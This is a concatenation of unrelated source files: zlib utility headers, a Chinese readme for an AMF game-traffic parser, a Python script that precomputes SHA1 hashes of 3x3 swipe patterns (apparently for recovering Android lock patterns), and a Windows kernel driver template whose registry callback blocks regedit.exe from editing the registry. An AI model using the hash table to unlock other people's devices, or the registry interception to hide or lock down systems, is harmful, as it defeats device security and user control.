extern void   free   OF((voidpf ptr));
#endif

voidpf zcalloc (opaque, items, size)
    voidpf opaque;
    unsigned items;
    unsigned size;
{
    if (opaque) items += size - size; /* make compiler happy */
    return (voidpf)calloc(items, size);
}

void  zcfree (opaque, ptr)
    voidpf opaque;
    voidpf ptr;
{
    free(ptr);
    if (opaque) return; /* make compiler happy */
}

#endif /* MY_ZCALLOC */








源码/Zip/zutil.h

/* zutil.h -- internal interface and configuration of the compression library
 * Copyright (C) 1995-2002 Jean-loup Gailly.
 * For conditions of distribution and use, see copyright notice in zlib.h
 */

/* WARNING: this file should *not* be used by applications. It is
   part of the implementation of the compression library and is
   subject to change. Applications should only use zlib.h.
 */

/* @(#) $Id$ */

#ifndef _Z_UTIL_H
#define _Z_UTIL_H

#include "zlib.h"

#ifdef STDC
#  include <stddef.h>
#  include <string.h>
#  include <stdlib.h>
#endif
#ifdef NO_ERRNO_H
    extern int errno;
#else
#   include <errno.h>
#endif

#ifndef local
#  define local static
#endif
/* compile with -Dlocal if your debugger can't find static symbols */

typedef unsigned char  uch;
typedef uch FAR uchf;
typedef unsigned short ush;
typedef ush FAR ushf;
typedef unsigned long  ulg;

extern const char *z_errmsg[10]; /* indexed by 2-zlib_error */
/* (size given to avoid silly warnings with Visual C++) */

#define ERR_MSG(err) z_errmsg[Z_NEED_DICT-(err)]

#define ERR_RETURN(strm,err) \
  return (strm->msg = (char*)ERR_MSG(err), (err))
/* To be used only when the state is known to be valid */

        /* common constants */

#ifndef DEF_WBITS
#  define DEF_WBITS MAX_WBITS
#endif
/* default windowBits for decompression. MAX_WBITS is for compression only */

#if MAX_MEM_LEVEL >= 8
#  define DEF_MEM_LEVEL 8
#else
#  define DEF_MEM_LEVEL  MAX_MEM_LEVEL
#endif
/* default memLevel */

#define STORED_BLOCK 0
#define STATIC_TREES 1
#define DYN_TREES    2
/* The three kinds of block type */

#define MIN_MATCH  3
#define MAX_MATCH  258
/* The minimum and maximum match lengths */

#define PRESET_DICT 0x20 /* preset dictionary flag in zlib header */

        /* target dependencies */

#ifdef MSDOS
#  define OS_CODE  0x00
#  if defined(__TURBOC__) || defined(__BORLANDC__)
#    if(__STDC__ == 1) && (defined(__LARGE__) || defined(__COMPACT__))
       /* Allow compilation with ANSI keywords only enabled */
       void _Cdecl farfree( void *block );
       void *_Cdecl farmalloc( unsigned long nbytes );
#    else
#     include <alloc.h>
#    endif
#  else /* MSC or DJGPP */
#    include <malloc.h>
#  endif
#endif

#ifdef OS2
#  define OS_CODE  0x06
#endif

#ifdef WIN32 /* Window 95 & Windows NT */
#  define OS_CODE  0x0b
#endif

#if defined(VAXC) || defined(VMS)
#  define OS_CODE  0x02
#  define F_OPEN(name, mode) \
     fopen((name), (mode), "mbc=60", "ctx=stm", "rfm=fix", "mrs=512")
#endif

#ifdef AMIGA
#  define OS_CODE  0x01
#endif

#if defined(ATARI) || defined(atarist)
#  define OS_CODE  0x05
#endif

#if defined(MACOS) || defined(TARGET_OS_MAC)
#  define OS_CODE  0x07
#  if defined(__MWERKS__) && __dest_os != __be_os && __dest_os != __win32_os
#    include <unix.h> /* for fdopen */
#  else
#    ifndef fdopen
#      define fdopen(fd,mode) NULL /* No fdopen() */
#    endif
#  endif
#endif

#ifdef __50SERIES /* Prime/PRIMOS */
#  define OS_CODE  0x0F
#endif

#ifdef TOPS20
#  define OS_CODE  0x0a
#endif

#if defined(_BEOS_) || defined(RISCOS)
#  define fdopen(fd,mode) NULL /* No fdopen() */
#endif

#if (defined(_MSC_VER) && (_MSC_VER > 600))
#  define fdopen(fd,type)  _fdopen(fd,type)
#endif


        /* Common defaults */

#ifndef OS_CODE
#  define OS_CODE  0x03  /* assume Unix */
#endif

#ifndef F_OPEN
#  define F_OPEN(name, mode) fopen((name), (mode))
#endif

         /* functions */

#ifdef HAVE_STRERROR
   extern char *strerror OF((int));
#  define zstrerror(errnum) strerror(errnum)
#else
#  define zstrerror(errnum) ""
#endif

#if defined(pyr)
#  define NO_MEMCPY
#endif
#if defined(SMALL_MEDIUM) && !defined(_MSC_VER) && !defined(__SC__)
 /* Use our own functions for small and medium model with MSC <= 5.0.
  * You may have to use the same strategy for Borland C (untested).
  * The __SC__ check is for Symantec.
  */
#  define NO_MEMCPY
#endif
#if defined(STDC) && !defined(HAVE_MEMCPY) && !defined(NO_MEMCPY)
#  define HAVE_MEMCPY
#endif
#ifdef HAVE_MEMCPY
#  ifdef SMALL_MEDIUM /* MSDOS small or medium model */
#    define zmemcpy _fmemcpy
#    define zmemcmp _fmemcmp
#    define zmemzero(dest, len) _fmemset(dest, 0, len)
#  else
#    define zmemcpy memcpy
#    define zmemcmp memcmp
#    define zmemzero(dest, len) memset(dest, 0, len)
#  endif
#else
   extern void zmemcpy  OF((Bytef* dest, const Bytef* source, uInt len));
   extern int  zmemcmp  OF((const Bytef* s1, const Bytef* s2, uInt len));
   extern void zmemzero OF((Bytef* dest, uInt len));
#endif

/* Diagnostic functions */
#ifdef DEBUG
#  include <stdio.h>
   extern int z_verbose;
   extern void z_error    OF((char *m));
#  define Assert(cond,msg) {if(!(cond)) z_error(msg);}
#  define Trace(x) {if (z_verbose>=0) fprintf x ;}
#  define Tracev(x) {if (z_verbose>0) fprintf x ;}
#  define Tracevv(x) {if (z_verbose>1) fprintf x ;}
#  define Tracec(c,x) {if (z_verbose>0 && (c)) fprintf x ;}
#  define Tracecv(c,x) {if (z_verbose>1 && (c)) fprintf x ;}
#else
#  define Assert(cond,msg)
#  define Trace(x)
#  define Tracev(x)
#  define Tracevv(x)
#  define Tracec(c,x)
#  define Tracecv(c,x)
#endif


typedef uLong (ZEXPORT *check_func) OF((uLong check, const Bytef *buf,
				       uInt len));
voidpf zcalloc OF((voidpf opaque, unsigned items, unsigned size));
void   zcfree  OF((voidpf opaque, voidpf ptr));

#define ZALLOC(strm, items, size) \
           (*((strm)->zalloc))((strm)->opaque, (items), (size))
#define ZFREE(strm, addr)  (*((strm)->zfree))((strm)->opaque, (voidpf)(addr))
#define TRY_FREE(s, p) {if (p) ZFREE(s, p);}

#endif /* _Z_UTIL_H */
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amf解析程序源码说明.txt

1、编译环境：Visualc++6.0(SP2)+XP SDK SP2；
2、AMF数据包分析环境：FireFox浏览器版本低于5.0,插件FireBug(版本低于1.5),amf Explorer版本0.7；
3、程序使用：首先使用IE+HttpWatch（插件）导出需要分析的七雄数据包；
             用UltraEdit编辑数据包,将HTTP头部删除，只保存AMF正文部分（0x00 03开始至数据包末 ）
             如果正文部分使用gzip压缩,同样将HTTP头部删除,只保存正文部分（0x1F 8B开始至数据包末）
4、对未压缩数据包：点击->AMF解析->解析未压缩数据->选择数据包
   对压缩数据包：  点击->AMF解析->解析压缩数据(gzip)->选择数据包
5、七雄测试数据包文件夹中保存了六个测试数据包，大家可以测试一下，也可用Ultraedit查看其数据格式。
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generate_db.py

# coding by g0t3n
#coding:utf-8
import sys
import os
import hashlib
from copy import deepcopy
filehandle = None
db = "./hash.db"
init_mapper = [[0,0,0],[0,0,0],[0,0,0]]
mapper_queue = []		# tmp_mapper,startx,starty,prev_path
key_mapper  = [['\x00','\x01','\x02'],['\x03','\x04','\x05'],['\x06','\x07','\x08']]

def notfull(mapper):
	for x in range(3):
		for y in range(3):
			if (mapper[x][y] != 0):
				return True
	return False

# 因为必须两个以上九个以下
def canwritelog(mapper):
	cnt = 0
	for x in range(3):
		for y in range(3):
			if mapper[x][y] == 1:
				cnt += 1
			if cnt > 2:
				return True
	return False

def writelog(tmp, prev):
	strings = ""
	paths = ""
	for i in prev:
		x,y = i
		paths = paths + str(x)+str(y)
		strings = strings + key_mapper[x][y]
	#print "writelog: strings => "+strings + " | " +hashlib.sha1(strings).hexdigest()
	filehandle.write(paths+" | "+hashlib.sha1(strings).hexdigest()+'\n')


def main():
	print "wait while generate hash.db"
	rounds = 1
	for startxs in range(3):
		for startys in range(3):
			# start point to 0,0
			#startx,starty = 0,0
			cur_mapper = init_mapper
			init = 0
			prev_path = []
			
			startx,starty = startxs,startys
			while(True):

				if init == 0:			# init
					tmp_mapper = deepcopy(cur_mapper)			# u r not virgin
					tmp_mapper[startx][starty] = 1
					prev_path.append((startx,starty))
					init = 1
				else:
					if len(mapper_queue) == 0:		# 队列为空证明finish了
						break
					tmp_mapper,startx,starty,prev_path = mapper_queue.pop()
				#print "head => "+repr(tmp_mapper)
				#print "mapper_queue =>"+repr(mapper_queue)
				if (startx+1 < 3) :			# right
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx+1,starty))
					if  (tmp_mapper[startx+1][starty] != 1):			#  如果该点本来为 1,即结束,即不再入栈
						tmp[startx+1][starty] = 1
						mapper_queue.append((tmp, startx+1, starty, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!

				if (startx-1 >= 0):		# left
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx-1,starty))
					if (tmp_mapper[startx-1][starty] != 1):
						tmp[startx-1][starty] = 1
						mapper_queue.append((tmp, startx-1, starty, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!

				if (starty+1 < 3) :		# down
					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx,starty+1))
					if (tmp_mapper[startx][starty+1] != 1):
						tmp[startx][starty+1] = 1
						mapper_queue.append((tmp, startx, starty+1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!

				if (starty-1 >= 0):		# up
					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx,starty-1)) 
					if (tmp_mapper[startx][starty-1] != 1):
						tmp[startx][starty-1] = 1
						mapper_queue.append((tmp, startx, starty-1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				# 斜 一位
				if (startx+1 < 3) and (starty+1 < 3):		# right down
					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx+1,starty+1))
					if  (tmp_mapper[startx+1][starty+1] != 1):
						tmp[startx+1][starty+1] = 1
						mapper_queue.append((tmp, startx+1, starty+1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				if (startx-1 >= 0) and (starty+1 < 3):		# left down
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx-1,starty+1))
					if (tmp_mapper[startx-1][starty+1] != 1):
						tmp[startx-1][starty+1] = 1
						mapper_queue.append((tmp, startx-1, starty+1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!

				if (startx-1 >= 0) and (starty-1 >= 0) :		# left up
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx-1,starty-1))
					if (tmp_mapper[startx-1][starty-1] != 1):
						tmp[startx-1][starty-1] = 1
						mapper_queue.append((tmp, startx-1, starty-1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!

				if (startx+1 < 3) and (starty-1 >= 0):		# right up
					tmp = deepcopy(tmp_mapper)

					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx+1,starty-1))
					if (tmp_mapper[startx+1][starty-1] != 1):
						tmp[startx+1][starty-1] = 1
						mapper_queue.append((tmp, startx+1, starty-1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				#  斜 两位
				if (startx+1 < 3) and (starty+2 < 3):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx+1,starty+2))
					if (tmp_mapper[startx+1][starty+2] != 1):
						tmp[startx+1][starty+2] = 1
						mapper_queue.append((tmp, startx+1, starty+2, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				if (startx-1 >= 0) and (starty+2 < 3):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx-1,starty+2))
					if (tmp_mapper[startx-1][starty+2] != 1):
						tmp[startx-1][starty+2] = 1
						mapper_queue.append((tmp, startx-1, starty+2, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				if (startx+1 < 3) and (starty-2 >= 0):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx+1,starty-2))
					if (tmp_mapper[startx+1][starty-2] != 1):
						tmp[startx+1][starty-2] = 1
						mapper_queue.append((tmp, startx+1, starty-2, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				if (startx-1 >= 0) and (starty-2 >= 0):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx-1,starty-2))
					if (tmp_mapper[startx-1][starty-2] != 1):
						tmp[startx-1][starty-2] = 1
						mapper_queue.append((tmp, startx-1, starty-2, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!

				if (startx+2 < 3) and (starty+1 < 3):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx+2,starty+1))
					if (tmp_mapper[startx+2][starty+1] != 1):
						tmp[startx+2][starty+1] = 1
						mapper_queue.append((tmp, startx+2, starty+1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				if (startx+2 < 3) and (starty-1 >= 0):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx+2,starty-1))
					if (tmp_mapper[startx+2][starty-1] != 1):
						tmp[startx+2][starty-1] = 1
						mapper_queue.append((tmp, startx+2, starty-1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!
				if (startx-2 >= 0) and (starty-1 >= 0):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx-2,starty-1))
					if (tmp_mapper[startx-2][starty-1] != 1):
						tmp[startx-2][starty-1] = 1
						mapper_queue.append((tmp, startx-2, starty-1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!				
				if (startx-2 >= 0) and (starty+1 < 3):
					tmp = deepcopy(tmp_mapper)
					tmp_prev_path = deepcopy(prev_path)
					tmp_prev_path.append((startx-2,starty+1))
					if (tmp_mapper[startx-2][starty+1] != 1):
						tmp[startx-2][starty+1] = 1
						mapper_queue.append((tmp, startx-2, starty+1, tmp_prev_path))
					if canwritelog(tmp):
						writelog(tmp, tmp_prev_path)			# !!!				
				#print "round "+str(rounds)
				rounds += 1


		
	print "finished..."

if __name__ == '__main__':
	if os.path.isfile(db) == False:
		filehandle = open(db,'w')
		main()
	else:
		print db+" exists. now exit..."
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src/nt5x86/makefile

#
# DO NOT EDIT THIS FILE!!!  Edit .\sources. if you want to add a new source
# file to this component.  This file merely indirects to the real make file
# that is shared by all the components of NT OS/2
#
!INCLUDE $(NTMAKEENV)\makefile.def






src/nt6x64/makefile

#
# DO NOT EDIT THIS FILE!!!  Edit .\sources. if you want to add a new source
# file to this component.  This file merely indirects to the real make file
# that is shared by all the components of NT OS/2
#
!INCLUDE $(NTMAKEENV)\makefile.def






src/nt5x86/sources

TARGETNAME=CmRegMonitor
TARGETTYPE=DRIVER
TARGETPATH=obj

INCLUDES=.\

SOURCES = MyDriver.c






src/nt6x64/sources

TARGETNAME=CmRegMonitor
TARGETTYPE=DRIVER
TARGETPATH=obj

INCLUDES=.\

SOURCES = MyDriver.c






src/nt5x86/MyDriver.h

#include <ntddk.h>

#define dprintf				if (DBG) DbgPrint

#define	DEVICE_NAME			L"\\Device\\CmRegMonitor"
#define LINK_NAME			L"\\DosDevices\\CmRegMonitor"
#define LINK_GLOBAL_NAME	L"\\DosDevices\\Global\\CmRegMonitor"






src/nt6x64/MyDriver.h

#include <ntddk.h>

#define dprintf				if (DBG) DbgPrint

#define	DEVICE_NAME			L"\\Device\\CmRegMonitor"
#define LINK_NAME			L"\\DosDevices\\CmRegMonitor"
#define LINK_GLOBAL_NAME	L"\\DosDevices\\Global\\CmRegMonitor"






src/nt6x64/testcode.h

#include <ntddk.h>

#define REGISTRY_POOL_TAG 'pRE'

NTKERNELAPI NTSTATUS ObQueryNameString
(
    IN  PVOID Object,
    OUT POBJECT_NAME_INFORMATION ObjectNameInfo,
    IN  ULONG Length,
    OUT PULONG ReturnLength
);

NTKERNELAPI NTSTATUS RtlUnicodeStringCopy
(
  __out  PUNICODE_STRING DestinationString,
  __in   PUNICODE_STRING SourceString
);

NTKERNELAPI UCHAR* PsGetProcessImageFileName(PEPROCESS Process);

LARGE_INTEGER CmHandle;
NTSTATUS CmSt;

BOOLEAN IsProcessName(char *string, PEPROCESS eprocess)
{
	char xx[260]={0};
	strcpy(xx,PsGetProcessImageFileName(eprocess));
	if(!_stricmp(xx,string))
		return TRUE;
	else
		return FALSE;
}

BOOLEAN GetRegistryObjectCompleteName(PUNICODE_STRING pRegistryPath, PUNICODE_STRING pPartialRegistryPath, PVOID pRegistryObject)
{
	BOOLEAN foundCompleteName = FALSE;
	BOOLEAN partial = FALSE;
	if((!MmIsAddressValid(pRegistryObject)) || (pRegistryObject == NULL))
		return FALSE;
	/* Check to see if the partial name is really the complete name */
	if(pPartialRegistryPath != NULL)
	{
		if( (((pPartialRegistryPath->Buffer[0] == '\\') || (pPartialRegistryPath->Buffer[0] == '%')) ||
		        ((pPartialRegistryPath->Buffer[0] == 'T') && (pPartialRegistryPath->Buffer[1] == 'R') && 
				(pPartialRegistryPath->Buffer[2] == 'Y') && (pPartialRegistryPath->Buffer[3] == '\\'))) )
		{
			RtlCopyUnicodeString(pRegistryPath, pPartialRegistryPath);
			partial = TRUE;
			foundCompleteName = TRUE;
		}
	}
	if(!foundCompleteName)
	{
		/* Query the object manager in the kernel for the complete name */
		NTSTATUS status;
		ULONG returnedLength;
		PUNICODE_STRING pObjectName = NULL;
		status = ObQueryNameString(pRegistryObject, (POBJECT_NAME_INFORMATION)pObjectName, 0, &returnedLength );
		if(status == STATUS_INFO_LENGTH_MISMATCH)
		{
			pObjectName = ExAllocatePoolWithTag(NonPagedPool, returnedLength, REGISTRY_POOL_TAG);
			status = ObQueryNameString(pRegistryObject, (POBJECT_NAME_INFORMATION)pObjectName, returnedLength, &returnedLength );
			if(NT_SUCCESS(status))
			{
				RtlCopyUnicodeString(pRegistryPath, pObjectName);
				foundCompleteName = TRUE;
			}
			ExFreePoolWithTag(pObjectName, REGISTRY_POOL_TAG);
		}
	}
	return foundCompleteName;
}

NTSTATUS RegistryCallback
(
    IN PVOID CallbackContext,
    IN PVOID Argument1,
    IN PVOID Argument2
)
{
	long type;
	NTSTATUS CallbackStatus=STATUS_SUCCESS;
	UNICODE_STRING registryPath;
	registryPath.Length = 0;
	registryPath.MaximumLength = 2048 * sizeof(WCHAR);
	registryPath.Buffer = ExAllocatePoolWithTag(NonPagedPool, registryPath.MaximumLength, REGISTRY_POOL_TAG);
	if(registryPath.Buffer == NULL)
		return STATUS_SUCCESS;
	type = (REG_NOTIFY_CLASS)Argument1;
	switch(type)
	{
		case RegNtPreCreateKeyEx:	//出现两次是因为一次是OpenKey，一次是createKey
		{
			if(IsProcessName("regedit.exe",PsGetCurrentProcess()))
			{
				GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_CREATE_KEY_INFORMATION)Argument2)->RootObject);
				DbgPrint("[RegNtPreCreateKeyEx]KeyPath: %wZ",&registryPath);	//新键的路径
				DbgPrint("[RegNtPreCreateKeyEx]KeyName: %wZ",
						((PREG_CREATE_KEY_INFORMATION)Argument2)->CompleteName);//新键的名称
				CallbackStatus=STATUS_ACCESS_DENIED;
			}
			break;
		}
		case RegNtPreDeleteKey:
		{
			if(IsProcessName("regedit.exe",PsGetCurrentProcess()))
			{
				GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_DELETE_KEY_INFORMATION)Argument2)->Object);
				DbgPrint("[RegNtPreDeleteKey]%wZ",&registryPath);				//新键的路径
				CallbackStatus=STATUS_ACCESS_DENIED;
			}
			break;
		}
		case RegNtPreSetValueKey:
		{
			if(IsProcessName("regedit.exe",PsGetCurrentProcess()))
			{
				GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_SET_VALUE_KEY_INFORMATION)Argument2)->Object);
				DbgPrint("[RegNtPreSetValueKey]KeyPath: %wZ",&registryPath);
				DbgPrint("[RegNtPreSetValueKey]ValName: %wZ",((PREG_SET_VALUE_KEY_INFORMATION)Argument2)->ValueName);
				CallbackStatus=STATUS_ACCESS_DENIED;
			}
			break;
		}
		case RegNtPreDeleteValueKey:
		{
			if(IsProcessName("regedit.exe",PsGetCurrentProcess()))
			{
				GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_DELETE_VALUE_KEY_INFORMATION)Argument2)->Object);
				DbgPrint("[RegNtPreDeleteValueKey]KeyPath: %wZ",&registryPath);
				DbgPrint("[RegNtPreDeleteValueKey]ValName: %wZ",((PREG_DELETE_VALUE_KEY_INFORMATION)Argument2)->ValueName);
				CallbackStatus=STATUS_ACCESS_DENIED;
			}
			break;
		}
		case RegNtPreRenameKey:
		{
			if(IsProcessName("regedit.exe",PsGetCurrentProcess()))
			{
				GetRegistryObjectCompleteName(&registryPath,NULL,((PREG_RENAME_KEY_INFORMATION)Argument2)->Object);
				DbgPrint("[RegNtPreRenameKey]KeyPath: %wZ",&registryPath);
				DbgPrint("[RegNtPreRenameKey]NewName: %wZ",((PREG_RENAME_KEY_INFORMATION)Argument2)->NewName);
				CallbackStatus=STATUS_ACCESS_DENIED;
			}
			break;
		}
		//『注册表编辑器』里的“重命名键值”是没有直接函数的，是先SetValueKey再DeleteValueKey
		default:
			break;
	}
	if(registryPath.Buffer != NULL)
		ExFreePoolWithTag(registryPath.Buffer, REGISTRY_POOL_TAG);
	return CallbackStatus;
}






src/nt5x86/testcode.h

#include <ntddk.h>
#include <ntstrsafe.h>

#define REGISTRY_POOL_TAG 'pRE'

LARGE_INTEGER CmHandle;
NTSTATUS CmSt;

/*
	在NT5上【部分pre处理函数】和【结构体部分成员】不可用，只能用于拦截/放行注册操作，类似于ARK的『禁止创建注册表XXX』之类的功能
	以下实现的是【禁止创建注册表项】和【禁止创建注册表键值】
*/
NTSTATUS RegistryCallback
(
    IN PVOID CallbackContext,
    IN PVOID Argument1,
    IN PVOID Argument2
)
{
	long type = (REG_NOTIFY_CLASS)Argument1;
	switch(type)
	{
		case RegNtSetValueKey:
		case RegNtPreCreateKey:
		{
			return STATUS_ACCESS_DENIED;
		}
		default:
			break;
	}
	return STATUS_SUCCESS;
}






src/nt5x86/MyDriver.c

//驱动开发模板
//作者：Tesla.Angela(GDUT.HWL)

#include <ntddk.h>
#include <windef.h>
#include <stdlib.h>
#include <ntimage.h>
#include "MyDriver.h"
#include "testcode.h"

VOID DriverUnload(PDRIVER_OBJECT pDriverObj)
{	
	UNICODE_STRING strLink;
	//delete CmpCallback
	if(NT_SUCCESS(CmSt))
		CmUnRegisterCallback(CmHandle);
	RtlInitUnicodeString(&strLink, LINK_NAME);
	IoDeleteSymbolicLink(&strLink);
	IoDeleteDevice(pDriverObj->DeviceObject);
}

NTSTATUS DispatchCreate(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
	pIrp->IoStatus.Status = STATUS_SUCCESS;
	pIrp->IoStatus.Information = 0;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

NTSTATUS DispatchClose(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
	pIrp->IoStatus.Status = STATUS_SUCCESS;
	pIrp->IoStatus.Information = 0;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
	NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
	PIO_STACK_LOCATION pIrpStack;
	ULONG uIoControlCode;
	PVOID pIoBuffer;
	ULONG uInSize;
	ULONG uOutSize;
	pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
	pIoBuffer = pIrp->AssociatedIrp.SystemBuffer;
	uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
	uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
	switch(uIoControlCode)
	{
	}
	if(status == STATUS_SUCCESS)
		pIrp->IoStatus.Information = uOutSize;
	else
		pIrp->IoStatus.Information = 0;	
	pIrp->IoStatus.Status = status;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return status;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)
{
	NTSTATUS status = STATUS_SUCCESS;
	UNICODE_STRING ustrLinkName;
	UNICODE_STRING ustrDevName;  
	PDEVICE_OBJECT pDevObj;
	pDriverObj->MajorFunction[IRP_MJ_CREATE] = DispatchCreate;
	pDriverObj->MajorFunction[IRP_MJ_CLOSE] = DispatchClose;
	pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl;
	pDriverObj->DriverUnload = DriverUnload;
	RtlInitUnicodeString(&ustrDevName, DEVICE_NAME);
	status = IoCreateDevice(pDriverObj, 0, &ustrDevName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDevObj);
	if(!NT_SUCCESS(status))	return status;
	if(IoIsWdmVersionAvailable(1, 0x10))
		RtlInitUnicodeString(&ustrLinkName, LINK_GLOBAL_NAME);
	else
		RtlInitUnicodeString(&ustrLinkName, LINK_NAME);
	status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);  	
	if(!NT_SUCCESS(status))
	{
		IoDeleteDevice(pDevObj); 
		return status;
	}
	//Register CmpCallback
	DbgPrint("MAGIC TEST");
	CmSt=CmRegisterCallback(RegistryCallback,NULL,&CmHandle);
	if(NT_SUCCESS(CmSt))
		DbgPrint("CmRegisterCallback SUCCESS!");
	else
		DbgPrint("CmRegisterCallback Failed!");
	return STATUS_SUCCESS;
}






src/nt6x64/MyDriver.c

//驱动开发模板
//作者：Tesla.Angela(GDUT.HWL)

#include <ntddk.h>
#include <windef.h>
#include <stdlib.h>
#include <ntimage.h>
#include "MyDriver.h"
#include "testcode.h"

VOID DriverUnload(PDRIVER_OBJECT pDriverObj)
{	
	UNICODE_STRING strLink;
	//delete CmpCallback
	if(NT_SUCCESS(CmSt))
		CmUnRegisterCallback(CmHandle);
	RtlInitUnicodeString(&strLink, LINK_NAME);
	IoDeleteSymbolicLink(&strLink);
	IoDeleteDevice(pDriverObj->DeviceObject);
}

NTSTATUS DispatchCreate(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
	pIrp->IoStatus.Status = STATUS_SUCCESS;
	pIrp->IoStatus.Information = 0;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

NTSTATUS DispatchClose(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
	pIrp->IoStatus.Status = STATUS_SUCCESS;
	pIrp->IoStatus.Information = 0;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
	NTSTATUS status = STATUS_INVALID_DEVICE_REQUEST;
	PIO_STACK_LOCATION pIrpStack;
	ULONG uIoControlCode;
	PVOID pIoBuffer;
	ULONG uInSize;
	ULONG uOutSize;
	pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
	uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
	pIoBuffer = pIrp->AssociatedIrp.SystemBuffer;
	uInSize = pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
	uOutSize = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength;
	switch(uIoControlCode)
	{
	}
	if(status == STATUS_SUCCESS)
		pIrp->IoStatus.Information = uOutSize;
	else
		pIrp->IoStatus.Information = 0;	
	pIrp->IoStatus.Status = status;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);
	return status;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)
{
	NTSTATUS status = STATUS_SUCCESS;
	UNICODE_STRING ustrLinkName;
	UNICODE_STRING ustrDevName;  
	PDEVICE_OBJECT pDevObj;
	pDriverObj->MajorFunction[IRP_MJ_CREATE] = DispatchCreate;
	pDriverObj->MajorFunction[IRP_MJ_CLOSE] = DispatchClose;
	pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctl;
	pDriverObj->DriverUnload = DriverUnload;
	RtlInitUnicodeString(&ustrDevName, DEVICE_NAME);
	status = IoCreateDevice(pDriverObj, 0, &ustrDevName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDevObj);
	if(!NT_SUCCESS(status))	return status;
	if(IoIsWdmVersionAvailable(1, 0x10))
		RtlInitUnicodeString(&ustrLinkName, LINK_GLOBAL_NAME);
	else
		RtlInitUnicodeString(&ustrLinkName, LINK_NAME);
	status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);  	
	if(!NT_SUCCESS(status))
	{
		IoDeleteDevice(pDevObj); 
		return status;
	}
	//Register CmpCallback
	DbgPrint("MAGIC TEST");
